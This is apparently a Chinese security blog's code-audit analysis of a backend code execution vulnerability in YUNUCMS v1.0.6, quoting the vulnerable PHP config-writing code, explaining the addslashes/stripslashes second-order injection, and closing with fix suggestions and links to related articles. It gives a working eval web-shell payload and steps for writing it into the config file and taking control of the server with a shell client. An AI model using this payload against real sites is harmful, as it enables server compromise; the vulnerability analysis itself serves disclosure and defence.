0x00 环境准备

QYKCMS官网:http://www.yunucms.com

网站源码版本:YUNUCMSv1.0.6

程序源码下载:http://www.yunucms.com/Download/index.html

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/admin/controller/System.php   第8-24行:

  1. public function basic()
  2. {
  3. $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
  4. if(request()->isAjax()){
  5. Config::load($coffile, '', 'sys');
  6. $conflist = Config::get('','sys');
  7. $param = input('post.');
  8. unset($param['file']);
  9. $param = add_slashes_recursive($param);
  10. 10.
  11. 11.         $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;
  12. 12.         $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;
  13. 13.
  14. 14.         setConfigfile($coffile, array_merge($conflist, $param));
  15. 15.         return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);
  16. 16.         exit();
  17. 17.     }

这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:

2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:

  1. foreach (config('sys') as $k => $v) {
  2. config('sys.'.$k, strip_slashes_recursive($v));
  3. }

这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。

综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。

0x02 漏洞利用

1、登录后台--常用菜单--基础设置--网站名称--填写Payload:

Payload',1=>eval($_POST[g]),'xx'=>'

2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。

3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。

4、通过直接访问脚本文件,触发脚本代码:

5、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  3. CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

    漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...

  4. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  5. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  6. DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

    dedeCMS  V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...

  7. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  8. 【代码审计】LaySNS_v2.2.0 System.php页面存在代码执行漏洞分析.

      0x00 环境准备 LaySNS官网:http://www.laysns.com/ 网站源码版本:LaySNS_v2.2.0 程序源码下载:https://pan.lanzou.com/i0l38 ...

  9. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

随机推荐

  1. MAC自动脚本

    链接: crontab 详细用法 定时任务 Linux crontab命令 定时任务 用法详解以及no crontab for root解决办法

  2. Zookeeper简介说明

    Zookeeper(一)简介说明 1.1 什么是Zookeeper? Zookeeper是一个高效的分布式协调服务,它暴露了一些公用服务,比如命名/配置管理/同步控制/群组服务等.我们可以使用ZK来实 ...

  3. Java SPI机制学习笔记

    最近在阅读框架源代码时,常常看到 SPI 的子包, 忍不住查了下: Service Provider Interface : 服务提供接口. JavaSPI 实际上是“基于接口的编程+策略模式+配置文 ...

  4. 基于Socket网络编程

    版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/a2011480169/article/details/73602708 博客核心内容: 1.Sock ...

  5. vscode下调试caffe源码

    caffe目录: ├── build -> .build_release // make生成目录,生成各种可执行bin文件,直接调用入口: ├── cmake ├── CMakeLists.tx ...

  6. Linux下RocketMQ环境的配置

    RocketMQ是一款分布式消息系统,最初是由阿里巴巴消息中间件团队研发并大规模应用于生产系统,满足线上海量堆积的需求,在去年捐赠给Apache开源基金会,并列为孵化项目,今年成功的正式成为了apac ...

  7. Redis更新的正确方法

    原文(缓存更新的套路):看到好些人在写更新缓存数据代码时,先删除缓存,然后再更新数据库,而后续的操作会把数据再装载的缓存中.然而,这个是逻辑是错误的.试想,两个并发操作,一个是更新操作,另一个是查询操 ...

  8. XMAL定义后台数据

    头部调用程序集xmlns:sys="clr-namespace:System;assembly=mscorlib" <Window.Resources><!--定 ...

  9. jquery ajax IE

    在ie上会出现,get/post 只调用一次的现象 解决方法: cache:false http://stackoverflow.com/questions/8841425/how-to-set-ca ...

  10. 如何在 Github 上发现优秀的开源项目?

    之前发过一系列有关 GitHub 的文章,有同学问了,GitHub 我大概了解了,Git 也差不多会使用了,但是还是搞不清 GitHub 如何帮助我的工作,怎么提升我的工作效率? 问到点子上了,Git ...